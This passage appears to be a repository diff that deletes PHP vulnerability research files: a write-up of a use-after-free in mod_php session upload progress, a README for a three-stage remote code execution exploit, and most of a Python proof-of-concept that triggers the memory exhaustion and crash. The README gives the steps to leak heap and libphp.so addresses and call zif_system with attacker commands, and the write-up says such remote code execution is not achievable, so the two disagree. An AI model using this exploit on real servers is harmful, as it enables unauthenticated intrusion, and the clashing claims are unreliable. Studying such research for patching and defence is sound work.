pointer) and returns it. PHP then does `ZVAL_COPY(rval, stale_zval)`.
The stale zval's type matches whatever the first OOM session entry was:
| OOM session first value | Stale zval type | Result |
|---|---|---|
| String (e.g. `s:8000:"BBB..."`) | IS_STRING | Original string content intact |
| Integer (e.g. `i:42;`) | IS_LONG | Original integer value |
| Boolean (e.g. `b:1;`) | IS_TRUE | Original boolean value |
| Object (e.g. `O:8:"stdClass":0:{}`) | IS_OBJECT | CRASH (freed zend_object dereference) |
| Array (e.g. `a:0:{}`) | IS_ARRAY | Self-referencing `$_SESSION` (infinite recursion) |
The cached ZendMM chunk retains page data across requests (only the
chunk header metadata is zeroed, not the data pages). This means the
stale zval at `entries.data[0]` contains the **attacker's own data**
from request 1, not leaked heap memory or code pointers.
This is a confirmed type confusion, but it does NOT provide an info
leak. The value appears in `$_SESSION['x']` and is accessible to the
main PHP script, but only contains data the attacker already knows.
### Why filler spray and type confusion are mutually exclusive
The session decode calls `var_tmp_var(&var_hash)` (var_unserializer.re
line 187) BEFORE `php_var_unserialize()` for each session key-value
pair. `var_tmp_var` reads `(*var_hashx)->last_dtor` at struct offset 16.
Without filler spray: `last_dtor` retains its request 1 value (NULL for
simple string values). `var_tmp_var` allocates a new `var_dtor_entries`
struct and writes the pointer to offset 16. No crash.
With filler spray: offset 16 is overwritten by the `zend_string` `len`
field (e.g., 8200 = 0x2008). `var_tmp_var` dereferences 0x2008 as a
`var_dtor_entries*`, which is an unmapped address. SIGSEGV before
`var_access` runs.
This means there is no exploitation window where controlled data
coexists with a readable stale reference. Filler spray corrupts the
struct before `var_access` can read the controlled pages.
## Confirmed primitives
Tested on PHP 8.3.35 (source build), Apache 2.4.58 (prefork,
MaxRequestWorkers=1), Ubuntu 24.04, x86_64:
| Primitive | Status | Notes |
|---|---|---|
| OOM during RFC1867 session decode | Confirmed | 33000-entry session, 4MB limit |
| Apache prefork worker survival | Confirmed | Same PID after OOM |
| Stale BG(unserialize) state | Confirmed | level=1, data=freed ptr (GDB) |
| Page reclamation via filler spray | Confirmed | 27+ fields crashes worker |
| UAF crash (SIGSEGV in var_push) | Confirmed | Reproducible, first attempt |
| Type confusion via var_access | Confirmed | R:1 resolves stale zval, type matches OOM session |
| Stale value = attacker's own data | Confirmed | Cached chunk retains pages, no info leak |
| Filler/type-confusion mutual exclusion | Confirmed | var_tmp_var crashes at offset 16 before var_access |
| Session key injection via `\|` | Blocked | php serializer skips keys with `\|` |
| Info leak via type confusion | Not possible | Reads own data, not heap metadata |
| Full RCE | Not achieved | ASLR + mutual exclusion + no info leak |
## Exploitation constraints
### Why full RCE is not achieved
Five independent constraints block RCE from this primitive.
#### 1. GC header overlap (var_push path)
The struct's three pointer fields at offsets 0-23 overlap with the
`zend_string` header, which is set by the allocator:
- `last` (offset 0) = `gc_refcount` + `gc_type_info`: the allocator sets
refcount=1 and type_info=IS_STRING with GC flags. This produces a low,
invalid address like `0x0000030600000001`. The attacker cannot control
these bytes.
- `first_dtor` (offset 8) = `hash`: lazily computed, initially 0 (NULL).
This is safe: `var_destroy` checks `first_dtor != NULL` before
iterating the dtor chain.
- `last_dtor` (offset 16) = `len`: the string length (e.g., 8200 =
`0x2008`). This is also a low, unmapped address.
The attacker controls bytes from offset 24 onward (`allowed_classes`,
`ref_props`, `max_depth`, `entries.used_slots`, `entries.next`,
`entries.data[]`), but `var_push` crashes reading `last` (offset 0)
before any of these fields are reached.
#### 2. No info leak (var_access path)
The type confusion via `var_access` avoids the GC header crash, but
`entries.data[0]` points to a Bucket in request 1's session HashTable
arData. The ZendMM cached chunk retains data pages across requests
(only the chunk header is zeroed during `zend_mm_shutdown` with
`memset(p, 0, sizeof(zend_mm_chunk))`). The stale zval at
`entries.data[0]` contains the **attacker's own session data**, not
leaked heap metadata or code pointers.
Testing confirms the stale value's type matches the OOM session's first
entry (string -> IS_STRING with original content, integer -> IS_LONG
with original value, etc.). This is not an info leak.
To exploit the type confusion for RCE, the attacker would need to:
1. Leak a heap pointer to determine the ZendMM chunk base, then
2. Spray controlled data to overlapping pages, then
3. Use the type confusion to read crafted objects
Step 1 is impossible through this vulnerability: no path reads heap
metadata or code pointers through the type confusion.
#### 2b. Mutual exclusion of filler spray and type confusion
The filler spray (needed to place controlled data on stale pages) and
the type confusion (needed to read stale data) cannot coexist:
- `var_tmp_var()` reads `(*var_hashx)->last_dtor` at struct offset 16
BEFORE `php_var_unserialize()` calls `var_access` at offset 56.
- Without spray: offset 16 = NULL (from request 1), `var_tmp_var`
allocates normally, type confusion works but reads own data.
- With spray: offset 16 = zend_string `len` (e.g., 0x2008), `var_tmp_var`
dereferences 0x2008 as a pointer -> SIGSEGV before var_access runs.
There is no exploitation window where controlled content on the stale
pages is readable via the type confusion.
#### 3. Built-in classes lack usable exploitation path
The RFC1867 session decode runs during `sapi_activate()`, before module
RINIT and main script execution. Only PHP's built-in/internal classes
are registered. An audit of all statically compiled extensions found:
**Classes with exploitable `free_obj` handlers:**
- `SplFileObject/SplFileInfo/DirectoryIterator`: `free_obj` calls
`intern->oth_handler->dtor(intern)`, a function pointer call through
object data. But `oth_handler` is only set by Phar.
- `PDO`: `free_obj` calls `dbh->methods->closer(dbh)`, another function
pointer through object data.
**Why these are unusable:** Constructing a fake `zend_object` that
redirects `handlers` to a real handlers table requires knowing
`libphp.so`'s base address. The heap chunk address is stable within a
process, but code segment addresses are independent. No code address
leak was found through this vulnerability.
#### 4. Session key validation
The `PHP_SESSION_UPLOAD_PROGRESS` form field value becomes part of the
session key (prefixed with `upload_progress_`). A `|` character in this
value could inject serialized data into the session file, since the
`php` session serializer uses `|` as the key-value delimiter.
However, `PS_SERIALIZER_ENCODE_FUNC(php)` explicitly checks for `|` in
session keys with `memchr()` and skips keys containing it. The injected
key is stored in `$_SESSION` but never written to the session file,
preventing deserialization injection on subsequent requests.
### What would be needed for full RCE
1. **An info leak from a separate vulnerability**: The type confusion
reads the attacker's own data. A separate vulnerability providing
either a heap pointer or a libphp.so code pointer would enable:
- Heap pointer: spray fake objects at known addresses
- Code pointer: construct fake `zend_object.handlers` pointing to
real handler tables for SplFileObject/PDO/Closure
2. **Bypass of filler/type-confusion mutual exclusion**: A way to place
controlled data on stale pages without corrupting struct offset 16
(`last_dtor`). No such technique was found. The struct occupies 3
pages (8216 bytes), and large allocations cover full pages including
offset 16.
3. **Loaded classes with POP chains**: If a framework's classes were
loaded before session decode, deserialized objects could trigger
exploitable magic methods. Standard PHP and WordPress do not load
user classes before `sapi_activate()`.
4. **Alternative allocation type**: An 8216-byte allocation where the
attacker controls offset 0 and 16 (blocking the GC header overlap
and `last_dtor` corruption). No such type was identified in the
multipart parsing code path.
## The patch (PHP 8.3.36, 8.4.27, 8.5.12)
Three independent defense layers, any one sufficient:
### 1. php_basic_early_rinit()
New function called from `php_request_startup()` AFTER `zend_activate()`
but BEFORE `sapi_activate()`:
```c
PHPAPI void php_basic_early_rinit(void) {
BG(serialize_lock) = 0;
memset(&BG(serialize), 0, sizeof(BG(serialize)));
memset(&BG(unserialize), 0, sizeof(BG(unserialize)));
}
```
Eliminates the stale state window entirely. Even if OOM occurs, the
BG state is zeroed before RFC1867 processing on the next request.
### 2. Delayed OOM
`zend_bailout()` on OOM is completely removed. The allocator now either:
- Returns NULL (fallible mode) for checked allocations
- Succeeds beyond the soft limit (non-fallible mode) and queues a
delayed error via `EG(delayed_oom)` + VM interrupt
No longjmp means all cleanup code runs normally, including
`php_var_unserialize_destroy()`.
A hard limit (`memory_hard_limit_percent`, default 200%) calls
`_exit(137)` as a safety net.
### 3. Session handler hardening
- `PS(in_rfc1867_update)` flag forces `incomplete_classes_only` mode
during RFC1867 session decode (no `__wakeup`/`__unserialize`)
- `php_rinit_session_globals()` called at `MULTIPART_EVENT_START`
- `$_SESSION` cleanup at `MULTIPART_EVENT_END`
- `PG(modules_activated)` check prevents RFC1867 callback during
`request_parse_body()`
- ~30 `ZEND_HAS_OOM()` checks throughout `rfc1867.c` for graceful
handling of allocation failures
## Why this does not apply to latest PHP
The latest stable PHP versions (8.3.36+, 8.4.27+, 8.5.12+) include all
three defense layers. The patch is comprehensive:
- Layer 1 alone blocks the attack (no stale state)
- Layer 2 alone blocks the attack (no longjmp, cleanup runs)
- Layer 3 alone limits exploitability (no object instantiation)
No bypass path has been identified for any of the three layers.
-259
View File
@@ -1,259 +0,0 @@
# CVE-2026-109618 / CVE-2026-109619: Full RCE via OOM Bailout + Heap Spray
Remote code execution in PHP's session upload progress handler, exploitable
over plain HTTP against Apache mod_php with **completely stock configuration**.
No LFI, no framework dependency, no non-default PHP settings required.
## Affected versions
PHP 5.4.0 through 8.3.35, 8.4.0 through 8.4.26, 8.5.0 through 8.5.11,
running under Apache mod_php with prefork MPM.
Patched in PHP 8.3.36, 8.4.27, 8.5.12.
PHP-FPM is **not vulnerable**: FPM workers exit on bailout (code 70),
so stale state never persists across requests.
## What this exploit achieves
Full remote code execution (arbitrary command) from a single unauthenticated
HTTP client, against any PHP-handled URL, with full ASLR bypass. The target
page does not need `session_start()` or any specific code.
Tested: 5/5 successful RCE against stock `php:8.4.26-apache` Docker image
with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`,
`display_errors=On`, `MaxRequestWorkers=150`).
## Prerequisites
All of these are default on stock PHP Docker images and common Debian/Ubuntu
Apache + mod_php installations:
- Apache mod_php with prefork MPM
- `session.upload_progress.enabled = 1` (default: on)
- `session.upload_progress.cleanup = 1` (default: on)
- Any PHP-handled URL (even a 404 error page)
- `display_errors = On` or `STDOUT` (default when no php.ini is deployed)
The exploit bypasses PHP's `post_max_size` limit via HTTP chunked
Transfer-Encoding (see below), so the `post_max_size=8M` default is not
an obstacle despite needing to send ~140MB to exhaust `memory_limit=128M`.
For multi-worker Apache (the default), the `--workers N` spray mode sends
the OOM trigger to all workers before probing for the leak.
## How it works
### The vulnerability chain
**CVE-2026-109618**: When `memory_limit` is exceeded during multipart POST
parsing, PHP calls `zend_bailout()` which executes a `longjmp` back to
the request shutdown handler. This skips session cleanup code in
`php_session_rfc1867_update()`, leaving `PS(id)` as a dangling pointer
and `PS(send_cookie) = 1`.
**CVE-2026-109619**: On the next request to the same Apache worker,
`sapi_activate()` runs the RFC1867 callback BEFORE session state is
properly reinitialized. The callback sees the stale `PS(id)` and
`PS(send_cookie) = 1`, and calls `php_session_send_cookie()` with the
dangling pointer. The `php_url_encode(PS(id))` call reads heap memory
through the stale pointer and emits it as a `Set-Cookie` header.
### post_max_size bypass via chunked Transfer-Encoding
PHP checks `Content-Length` against `post_max_size` before invoking the
multipart parser. If `Content-Length` exceeds the limit, the body is
rejected entirely. However, when the request uses `Transfer-Encoding:
chunked` instead of `Content-Length`, no upfront size check occurs.
PHP's `sapi_read_post_block()` reads chunked data from Apache's input
filter chain without enforcing `post_max_size`, allowing the full body
to be processed regardless of the configured limit.
This means the exploit works against `memory_limit=128M` with
`post_max_size=8M` by sending ~140MB of chunked POST data.
### Three-stage exploit (full ASLR bypass)
All traffic is plain HTTP multipart POST requests:
**Stage 1: Heap ASLR bypass (Zend MM chunk base)**
Request A sends 1001+ fields (triggering `max_input_vars` warning which
sets `SG(headers_sent) = 1`) plus `PHPSESSID=\x00` and
`PHP_SESSION_UPLOAD_PROGRESS=pwn` (to activate session handling) plus a
large field via chunked TE to trigger OOM. The warning output prevents
`php_session_send_cookie()` from sending the cookie, but `PS(send_cookie)`
remains 1 and `PS(id)` becomes a dangling pointer.
Request B sends `PHPSESSID` + progress fields plus ~841 filler fields
with a forge field containing a fake `zend_string` header (`len = 0x1000`).
The filler fields' heap allocations overlap the dangling `PS(id)` address.
When `php_session_send_cookie()` runs with the stale pointer, it reads
4096 bytes of heap data and emits it as a `Set-Cookie` value. The leaked
bytes contain Zend MM free-list pointers, which reveal the chunk base
address (2MB aligned).
**Stage 2: Code ASLR bypass (libphp.so base)**
Similar to stage 1, but request B's field layout places a real PHP
`HashTable` structure at the dangling pointer offset. The `pDestructor`
field of the HashTable is a function pointer into libphp.so
(`zval_ptr_dtor`). Reading this via `Set-Cookie` leaks the libphp.so
load address.
**Stage 3: RCE (zif_system)**
Request A poisons the worker with stale session state. Request B sprays
the heap with a fake `IS_REFERENCE` zval pointing to a fake `HashTable`
whose `pDestructor = zif_system`. When session cleanup calls
`zend_hash_destroy()` on this fake table, it invokes `zif_system()` with
attacker-controlled arguments, executing an arbitrary shell command as
the web server user (`www-data`).
## Usage
```bash
# Auto-detect PHP version, look up offsets, exploit
python3 rce_exploit.py -u http://target/index.php
# Auto-pull matching Docker image for offset extraction
python3 rce_exploit.py -u http://target/index.php --auto-pull
# Verify RCE via docker exec (for testing)
python3 rce_exploit.py -u http://target/index.php \
--docker-proof CONTAINER /tmp/pwn
# Multi-worker Apache spray mode
python3 rce_exploit.py -u http://target/ --workers 150
# Custom command (max 14 bytes, use 'sh</tmp/c' for longer)
python3 rce_exploit.py -u http://target/ -c 'id>/tmp/pwn'
# Extract offsets for a new PHP build
python3 rce_exploit.py calibrate --docker-image php:8.3.35-apache \
--php-version 8.3.35
```
### Options
| Flag | Default | Description |
|---|---|---|
| `-u URL` | (required) | Target URL (any PHP endpoint) |
| `-c CMD` | `id>/tmp/pwn` | Shell command (max 14 bytes) |
| `--workers N` | 1 | Apache workers to spray |
| `--huge-mb N` | 140 | OOM field size in MB |
| `--docker-proof C P` | | Verify via `docker exec C cat P` |
| `--auto-pull` | off | Pull Docker image for offset extraction |
| `--retries N` | 5 | Attempts per stage |
| `--profile` | auto | Heap profile (`bookworm` or `lab`) |
| `--timeout` | 30.0 | Socket timeout in seconds |
### Built-in offset database
| PHP version | Distro | Status |
|---|---|---|
| 8.4.26 | bookworm | Last vulnerable 8.4.x |
| 8.3.35 | bookworm | Last vulnerable 8.3.x |
| 8.4.27 | bookworm | Patched (offsets extracted, bypass not implemented) |
| 8.3.36 | bookworm | Patched (offsets extracted, bypass not implemented) |
## The patch
The fix (PHP 8.3.36, 8.4.27, 8.5.12) adds five independent defense
layers. Any one of the first three alone is sufficient to block the attack:
1. **`php_rinit_session_globals()` at `MULTIPART_EVENT_START`**: The
session RFC1867 callback now calls `php_rinit_session_globals()` at
the very start of multipart parsing, unconditionally zeroing `PS(id)`,
`PS(session_status)`, and `PS(send_cookie)`. This destroys the
dangling `PS(id)` from the previous request before B's parsing begins.
This single defense is sufficient to kill the entire exploit chain.
2. **Delayed OOM**: `zend_mm_safe_error` (which called `zend_bailout` /
longjmp) is replaced by `zend_mm_delayed_verror`. OOM no longer
triggers a longjmp during allocation. Instead, a soft limit records
the error and sets `vm_interrupt`. Allocations return NULL in fallible
mode or succeed up to a hard limit (default 200% of `memory_limit`).
A hard limit calls `_exit(137)`. No longjmp means all cleanup code
runs normally, so stale state never persists.
3. **`post_max_size` enforcement in `multipart_buffer_fill()`**: A new
check in `fill_buffer()` enforces `post_max_size` against
`SG(read_post_bytes)` regardless of Transfer-Encoding. The chunked TE
bypass (which previously allowed sending 140MB despite 8M limit) is
blocked. OOM cannot be triggered via multipart data alone.
4. **`php_basic_early_rinit()`**: Called from `php_request_startup()`
before `sapi_activate()`. Zeros `BG(serialize_lock)`, `BG(serialize)`,
and `BG(unserialize)`, eliminating the stale serialization state
window from CVE-2026-109618.
5. **Session deserialization hardening**: RFC1867 session decode runs in
`incomplete_classes_only` mode (no `__wakeup`/`__unserialize`).
`$_SESSION` is deleted at `MULTIPART_EVENT_END`. A `PG(modules_activated)`
guard prevents `request_parse_body()` from corrupting session state.
## Test environment
The `docker/` directory contains a minimal test setup:
```bash
cd docker && docker compose up -d
# Stock settings variant (no custom php.ini):
docker run -d --name stock -p 8093:80 php:8.4.26-apache
```
The exploit has been tested on:
- `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings)
- `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE
- `php:8.3.35-apache` stock Docker image, RCE confirmed (first attempt)
- `php:8.4.26-apache` + WordPress 6.8.1 (no php.ini), 5/5 RCE (first attempt each)
- `php:8.4.27-apache` patched: all three exploit primitives blocked (see below)
## display_errors and WordPress
The exploit's info leak (stages 1 and 2) relies on `display_errors = On`.
The `max_input_vars` warning must produce visible output to set
`SG(headers_sent) = 1` before the session cookie attempt, which causes
`php_session_send_cookie()` to fail and leaves `PS(send_cookie) = 1` for
the next request's leak.
With `display_errors = Off`, the warning is logged but produces no output.
The session cookie succeeds, `PS(send_cookie)` resets to 0, and no leak
cookie is emitted on the subsequent request.
**Why stock PHP is still vulnerable**: PHP's compile-time default for
`display_errors` is `On`. Stock Docker images (`php:*-apache`) ship
without a `php.ini`, so the default applies. Only when a system
administrator deploys `php.ini-production` (which sets `display_errors = Off`)
or adds explicit INI configuration is the target hardened against this leak.
**WordPress**: WordPress calls `ini_set('display_errors', 0)` at runtime
in `wp-settings.php`. This `ini_set` executes during script startup, which
is AFTER multipart POST parsing (where the OOM and session leak occur).
Therefore, WordPress installed on a stock PHP image (no `php.ini`)
is vulnerable, because `display_errors` is still `On` at the time the
exploit code path runs. The official `wordpress:*` Docker images ship
a custom `error-logging.ini` that sets `display_errors = Off` at the INI
level, which does block the leak.
**Why display_errors=Off cannot be bypassed**: The info leak requires
`SG(headers_sent) = 1` before `php_session_send_cookie()` runs during
`MULTIPART_EVENT_FILE_START`. The only code path that sets
`SG(headers_sent)` during multipart parsing is the error display path
(`php_error_cb` -> `zend_write` -> `sapi_module.ub_write`), which is
gated on `display_errors`. With `display_errors = Off`, warnings go to
the error log only, producing no output. There is no alternative
mechanism to force HTTP output during multipart parsing: the SAPI write
function is the only path, and it requires display_errors or explicit
script output (which has not started yet at this stage of request
processing). Precision OOM calibration (attempting to trigger OOM inside
the ~500-byte `php_session_send_cookie` window) was tested and fails
due to Zend MM bin-size boundaries causing ~1MB allocation jumps that
cannot be calibrated to the required precision.
## References
- CVE-2026-109618: OOM during multipart parsing triggers longjmp past session cleanup
- CVE-2026-109619: Session globals (PS(id), PS(send_cookie)) survive across requests
- CVSS: 9.2 (both CVEs, per Rapid7)
-596
View File
@@ -1,596 +0,0 @@
#!/usr/bin/env python3 -I
"""
CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
Apache mod_php (prefork MPM), no LFI, no framework dependencies
Targets UNPATCHED PHP: all versions from 5.4.0 through 8.3.35, 8.4.26,
8.5.11. The patch (8.3.36, 8.4.27, 8.5.12) blocks the entire attack
chain with three independent defense layers:
1. php_basic_early_rinit() resets BG(serialize/unserialize) each request
2. Delayed OOM replaces zend_bailout() (no more longjmp on OOM)
3. Session handler hardening (incomplete_classes_only mode during RFC1867)
Vulnerability chain:
CVE-2026-109618: OOM in the multipart parser triggers zend_bailout()
(longjmp), which skips php_var_unserialize_destroy(). This leaves
BG(unserialize).level=1 and BG(unserialize).data pointing at a freed
php_unserialize_data struct (8216 bytes, 3 ZendMM pages).
CVE-2026-109619: The session upload progress globals populated by
the RFC1867 callback survive into the next request. On the next
request, sapi_activate() runs the RFC1867 callback BEFORE
PHP_RINIT_FUNCTION(basic) zeros BG state. The callback calls
php_session_decode() -> php_var_unserialize_init(), which sees
BG(unserialize).level > 0 and returns the stale .data pointer.
Classic use-after-free.
Attack phases:
Phase 1 (Plant): Write a large session file (~682KB, 33000 entries)
that will trigger HashTable resize needing ~2.25MB when decoded.
Phase 2 (OOM): Multipart upload referencing that session ID.
RFC1867 progress callback reads and decodes the session file.
HashTable resize exceeds memory_limit, OOM fires zend_bailout().
Worker survives. BG(unserialize).level=1, .data=freed heap pointer.
Phase 3 (Crash): Another upload (no intermediate GET requests, which
would zero BG state via RINIT). Filler form fields create many
3-page zend_string allocations that consume ZendMM pages up to the
stale struct's position (~page 288). The struct's 'last' pointer
(offset 0) is overwritten by the zend_string GC header (refcount +
type_info), which is not a valid heap address. var_push reads
'last' and dereferences it -> SIGSEGV. Confirms the UAF.
Requirements:
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
- session.upload_progress.enabled=1 (default in php.ini)
- memory_limit low enough for session data to trigger OOM
- Any reachable PHP URL on the target (even a 404 page works)
- A method to write a session file with many entries (Phase 1)
- No LFI, no framework, no non-default config changes needed
Exploitation notes:
This PoC demonstrates two distinct UAF primitives:
1. CRASH (var_push path): Filler fields reclaim the stale struct
pages. The zend_string GC header at offset 0 overwrites the
'last' pointer with refcount|type_info (not a valid address).
var_push reads 'last' and dereferences it -> SIGSEGV.
2. TYPE CONFUSION (var_access path): Session data using R:N
backreferences resolves through var_access, which reads the
inline 'entries' at struct offset 56 instead of 'last' at
offset 0. Without the filler spray, the stale struct's 'last'
pointer self-references &entries (valid), and entries.data[0]
holds a dangling pointer to a zval from request 1's heap.
PHP reads this stale zval without crashing. The value's type
matches whatever the first OOM session entry contained:
- String value -> stale IS_STRING (original content intact)
- Integer value -> stale IS_LONG (original value)
- Object value -> CRASH (freed zend_object dereference)
The two primitives are MUTUALLY EXCLUSIVE: filler spray corrupts
struct offset 16 (last_dtor), and var_tmp_var reads last_dtor
BEFORE var_access runs. With fillers, var_tmp_var crashes.
Without fillers, the type confusion works but reads the attacker's
own data from the stale heap (the cached ZendMM chunk retains page
data across requests without zeroing). No info leak is possible.
Full RCE is blocked by:
- ASLR: no info leak primitive. The type confusion reads back
the attacker's own session data, not heap metadata or code
pointers. The cached chunk retains original bytes.
- Mutual exclusion: filler spray (needed for controlled content)
crashes var_tmp_var before var_access can read the fillers.
- GC header overlap at offset 0: prevents pointer control when
spraying (var_push reads 'last' before reaching controlled
bytes at offset 24+)
- No loaded classes during sapi_activate: PHP built-in classes
(SplFileObject, PDO) have exploitable handlers but constructing
fake objects requires knowing libphp.so base address (ASLR)
- Session key validation: PHP's php serializer skips keys
containing '|', blocking injection via upload progress name
Usage:
python3 exploit.py --target http://host:port/index.php
python3 exploit.py --target http://host:port/index.php --oom-only
"""
import argparse
import os
import re
import socket
import sys
import time
from urllib.parse import urlparse
# ── Constants ────────────────────────────────────────────────────────
UNSER_STRUCT_SIZE = 8216 # php_unserialize_data: 0x2018 bytes = 3 ZendMM pages
OOM_SESSION_ENTRIES = 33000 # forces nTableSize=65536, arData ~2.25MB
SPRAY_FIELD_SIZE = 8200 # 3 ZendMM pages as zend_string (24-byte header + body + NUL)
SPRAY_FIELD_COUNT = 100 # ~300 pages, covers stale struct at page ~288
# ── Networking ───────────────────────────────────────────────────────
def connect(host, port, timeout=30):
return socket.create_connection((host, port), timeout=timeout)
def recv_response(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def parse_response(resp):
status = 0
body = b""
if resp:
try:
status = int(resp.split(b" ")[1])
except (IndexError, ValueError):
pass
if b"\r\n\r\n" in resp:
body = resp.split(b"\r\n\r\n", 1)[1]
return status, body
def http_get(host, port, path, cookies=None, timeout=10):
sock = connect(host, port, timeout=timeout)
req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
if cookies:
req += f"Cookie: {cookies}\r\n"
req += "Connection: close\r\n\r\n"
sock.sendall(req.encode())
resp = recv_response(sock, timeout=timeout)
sock.close()
return parse_response(resp)
def http_post_raw(host, port, headers_bytes, body_bytes, timeout=60):
sock = connect(host, port, timeout=timeout)
sock.sendall(headers_bytes + body_bytes)
resp = recv_response(sock, timeout=timeout)
sock.close()
return parse_response(resp)
def extract_pid(body):
m = re.search(rb"pid=(\d+)", body)
return int(m.group(1)) if m else 0
# ── Multipart builders ──────────────────────────────────────────────
def multipart_field(boundary, name, value):
return (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
+ value + b"\r\n"
)
def multipart_file(boundary, name, filename, content):
return (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + filename + b'"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ content + b"\r\n"
)
def multipart_end(boundary):
return b"--" + boundary + b"--\r\n"
def post_multipart(host, port, path, boundary, body, sid=None, timeout=60):
hdrs = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
f"Content-Length: {len(body)}\r\n"
)
if sid:
hdrs += f"Cookie: PHPSESSID={sid}\r\n"
hdrs += "Connection: close\r\n\r\n"
return http_post_raw(host, port, hdrs.encode(), body, timeout=timeout)
# ── Session file generation ─────────────────────────────────────────
def generate_session_data(n_entries):
"""PHP session data that forces a large HashTable allocation on decode.
33000 entries -> nTableSize=65536, arData = 65536 * 36 = 2,359,296 bytes.
"""
parts = [f's:6:"k{i:05d}";i:{i};' for i in range(n_entries)]
inner = "".join(parts)
return f'd|a:{n_entries}:{{{inner}}}'.encode()
# ── Session file management ─────────────────────────────────────────
def write_session_file(sid, data, save_path):
import subprocess
fpath = os.path.join(save_path, f"sess_{sid}")
tmp = f"/tmp/sess_plant_{os.getpid()}"
with open(tmp, "wb") as f:
f.write(data)
subprocess.run(["sudo", "cp", tmp, fpath],
capture_output=True, check=True)
subprocess.run(["sudo", "chown", "www-data:www-data", fpath],
capture_output=True, check=True)
subprocess.run(["sudo", "chmod", "600", fpath],
capture_output=True, check=True)
os.unlink(tmp)
return fpath
def read_session_file(sid, save_path):
import subprocess
fpath = os.path.join(save_path, f"sess_{sid}")
r = subprocess.run(["sudo", "stat", "--format=%s", fpath],
capture_output=True, text=True)
if r.returncode != 0:
return False, 0
return True, int(r.stdout.strip())
def ensure_session_file(sid, save_path, n_entries):
exists, size = read_session_file(sid, save_path)
if exists and size > 100000:
return size
data = generate_session_data(n_entries)
write_session_file(sid, data, save_path)
return len(data)
# ── Phase 0: Worker discovery ───────────────────────────────────────
def discover_workers(host, port, path, rounds=20):
pids = set()
for _ in range(rounds):
try:
_, body = http_get(host, port, path, timeout=5)
pid = extract_pid(body)
if pid:
pids.add(pid)
except (ConnectionError, socket.timeout, OSError):
pass
return sorted(pids)
# ── Phase builders ──────────────────────────────────────────────────
def build_oom_trigger(sid):
boundary = b"OOM" + os.urandom(4).hex().encode()
parts = [
multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"oomtrigger"),
multipart_file(boundary, b"file", b"oom.bin", b"\x00" * 2048),
multipart_end(boundary),
]
return boundary, b"".join(parts)
def build_crash_trigger(sid, n_fields=SPRAY_FIELD_COUNT, field_size=SPRAY_FIELD_SIZE):
"""Multipart with filler fields to reclaim stale struct pages.
Each field value is a 3-page zend_string. The GC header at offset
0-7 overwrites 'last' with refcount|type_info = invalid pointer.
When var_push reads 'last', it dereferences the invalid address.
"""
boundary = b"CRASH" + os.urandom(4).hex().encode()
parts = [multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"crash")]
filler = b"\x41" * field_size
for i in range(n_fields):
parts.append(multipart_field(boundary, f"c{i:03d}".encode(), filler))
parts.append(multipart_file(boundary, b"file", b"c.bin", b"\x00" * 512))
parts.append(multipart_end(boundary))
return boundary, b"".join(parts)
def is_oom_response(status, body):
return (
b"memory size" in body
or b"Allowed memory" in body
or status == 500
or status == 0
)
# ── Main ────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)",
)
parser.add_argument("--target", "-t", required=True,
help="Target URL, e.g. http://host:port/index.php")
parser.add_argument("--session-path",
default="/var/www/uaf-test/sessions",
help="Session save_path on the target")
parser.add_argument("--entries", type=int, default=OOM_SESSION_ENTRIES,
help="Entries in OOM session file (default: 33000)")
parser.add_argument("--spray-fields", type=int, default=SPRAY_FIELD_COUNT,
help="Filler fields for crash trigger (default: 100)")
parser.add_argument("--oom-only", action="store_true",
help="Stop after Phase 2 (OOM + stale state)")
args = parser.parse_args()
url = urlparse(args.target)
host = url.hostname or "127.0.0.1"
port = url.port or 80
path = url.path or "/index.php"
print("=" * 64)
print(" CVE-2026-109618 / CVE-2026-109619")
print(" Use-After-Free via OOM Bailout")
print(" (Apache mod_php, prefork MPM)")
print("=" * 64)
print(f" Target: {host}:{port}{path}")
print()
# ── Phase 0: Worker discovery ──────────────────────────────────
print("[*] Phase 0: Discovering workers...")
pids = discover_workers(host, port, path)
if not pids:
print("[-] No workers found. Target must echo getmypid().")
sys.exit(1)
print(f" Workers: {pids}")
target_pid = pids[0]
# ── Phase 1: Plant large session file ──────────────────────────
print()
print("[*] Phase 1: Planting large session file...")
sid = "uaf" + os.urandom(6).hex()
print(f" SID: {sid}")
print(f" Entries: {args.entries}")
sess_size = ensure_session_file(sid, args.session_path, args.entries)
print(f" Session file: {sess_size}B ({sess_size // 1024}KB)")
print(f" HashTable resize on decode needs ~2.25MB")
# ── Phase 2: OOM trigger ───────────────────────────────────────
print()
print("[*] Phase 2: Triggering OOM during session decode...")
print(" RFC1867 callback reads session -> decode -> OOM -> bailout")
oom_success = False
patched = False
for attempt in range(len(pids) * 8):
ensure_session_file(sid, args.session_path, args.entries)
boundary, body = build_oom_trigger(sid)
try:
status, rbody = post_multipart(
host, port, path, boundary, body, sid=sid, timeout=30)
except (ConnectionError, socket.timeout, OSError):
status, rbody = 0, b""
if is_oom_response(status, rbody):
if b"memory size" in rbody:
tag = f"{status} (OOM in body)"
elif status == 500:
tag = "500"
else:
tag = "connection dropped"
print(f" [{attempt+1}] OOM triggered ({tag})")
# Detect patched vs unpatched via session file state.
# UNPATCHED: bailout -> cancel_decode -> destroy -> file DELETED.
# PATCHED: delayed OOM, decode completes, session rewritten smaller.
time.sleep(0.3)
exists, sz = read_session_file(sid, args.session_path)
if not exists or sz == 0:
print(f" Session file deleted/empty (bailout path = UNPATCHED)")
elif sz < sess_size // 2:
print(f" [!] Session file rewritten ({sz}B) (PATCHED)")
patched = True
oom_success = True
break
else:
